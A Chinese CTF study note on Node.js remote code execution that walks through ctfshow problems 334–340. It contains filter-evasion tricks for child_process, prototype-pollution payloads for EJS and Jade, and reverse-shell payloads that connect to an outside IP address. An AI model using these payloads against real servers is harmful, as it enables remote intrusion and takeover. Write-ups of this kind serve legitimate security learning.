0%

nodejs

nodejs

nodejs的rce

  1. child_process.exec():衍生shell并在该shell中运行命令,完成后将stdout和stderr传给回调函数。
  2. child_process.spawn():该方法异步衍生子进程,不会阻塞Nodejs事件循环。
  3. child_process.spawnSync():该方法以同步方式提供等效的功能,其会阻塞事件循环,知道衍生的进程退出或者终止。
  4. child_process.execSync():他是child_process.exec()的同步版本,它会阻塞Nodejs事件循环。

child_process模块的使用例子如下:

require("child_process").exec("whoami",function(err,stdout,stderr){console.log(stdout);});

过滤

如果点被过滤可以用[]代替调用方法

require("child_process")[exec]("ls")

拼接绕过

require("child_process")["ex"+"ec"]("ls")

16进制绕过

require("child_process")["\x65\x78\x65\x63"]("ls")

Unicode编码

require("child_process")["\u0065\u0078\u0065\u0063"]("ls")

concat拼接绕过:

require("child_process")["exe".concat("cSync")]("ls")

Base64编码绕过

Obejct.values

object.values(obj)会返回一个数组,成员是参数对象自身的(不含继承的)所有可遍历属性的键,利用这个我们可以获取到child_process的方法,

image.png

1
2
var x = Object.values(require("child_process"))[4](<'ls'>).tostring();
console.log(x);

另外一些形式的payload

global.process.mainModule.constructor._load('child_process').exec('calc')

ejs

payload

  1. {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777/port 0>&1\"');var __tmp2"}}}
  2. {"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}}

通过污染最上层影响整个模板

jade

`

1
2
3
4
1.
{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}
2.
{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

ctfshow

334

下载zip文件,在user.js文件里面有账号和密码,在登陆界面内登录即可

335

nodejs的rce

payload=?eval=require("child_process").execSync('cat f*')

336

通过变量读取当前文件目录 __filename,过滤了exec,随便选一个绕过方式,+绕过的话要对+进行url编码,%2b

__filename:给出绝对路径

__dirname:当前目录的相对路径

读取文件:val=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)

337

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}

});

module.exports = router;

a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)这串代码是关键信息

传入a[:]=1&b[:]=2即可绕过,a与中括号内的内容要相同

338

原型链污染

proto:对象的__proto__属性,指向类的原型对象prototype

污染原型链,使对象去获取已经被污染了的原型,实现变量覆盖之类的

本题下载压缩包,在app.js里面发现,在routes文件夹里面有源码和登录源码,

1
2
3
4
5
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}

关键是要使secert的原型链的ctfshow污染为36dboy,通过if判断,burpsuite抓包修改为下图再发包即可

image.png

注:nodejs的环境容易崩掉,只能打一次,否则需要重启靶场

339

在login文件里只设置了一个虚假的flag,我们需要在login文件进行原型链污染,再调用api路由的

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

Function()匿名函数:

Function("return x;");,匿名函数特性,需要有return

api中的函数相当于嵌套,将后一个括号的内容当作参数给第一个括号,可以在此进行变量覆盖

payload:{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 0>&1\"')"}}

反弹shell

image.png

image.png

监听到了后,ls没有找到相关文件,查看evn 配置文件,在其中找到flag

image.png

image.png

340

跟上一题比较,套了两层,需要污染两层原型链

image.png

从login文件可以看出

payload={"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/114.116.119.253/7777 0>&1\"')"}}}

剩下的步骤等同于上一题

原型链污染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function Parent () {
this.name = 'kevin';
}
Parent.prototype.getName = function () {
console.log(this.name);
}

function Child () {

}
Child.prototype = new Parent();

var child1 = new Child();
console.log(child1.getName()) // kevin

当「方法」的 prototype 指定对象原型之后,当试图访问该类的对象属性时,它不仅仅在该对象上搜寻,还会搜寻该对象的原型,以及该对象的原型的原型,依次层层向上搜索,直到找到一个名字匹配的属性或到达原型链的末尾,类似于会去找自己的父类,一层层往上寻找

merge(a.b)

把右边的所有对象属性赋值给左边

image.png

image.png

image.png

变量覆盖,原型链污染


来源: https://www.yuque.com/guansuanbangzhuangganjun/oxmbxg/ee7g8p4436vti0ie
语雀文档ID: 148315327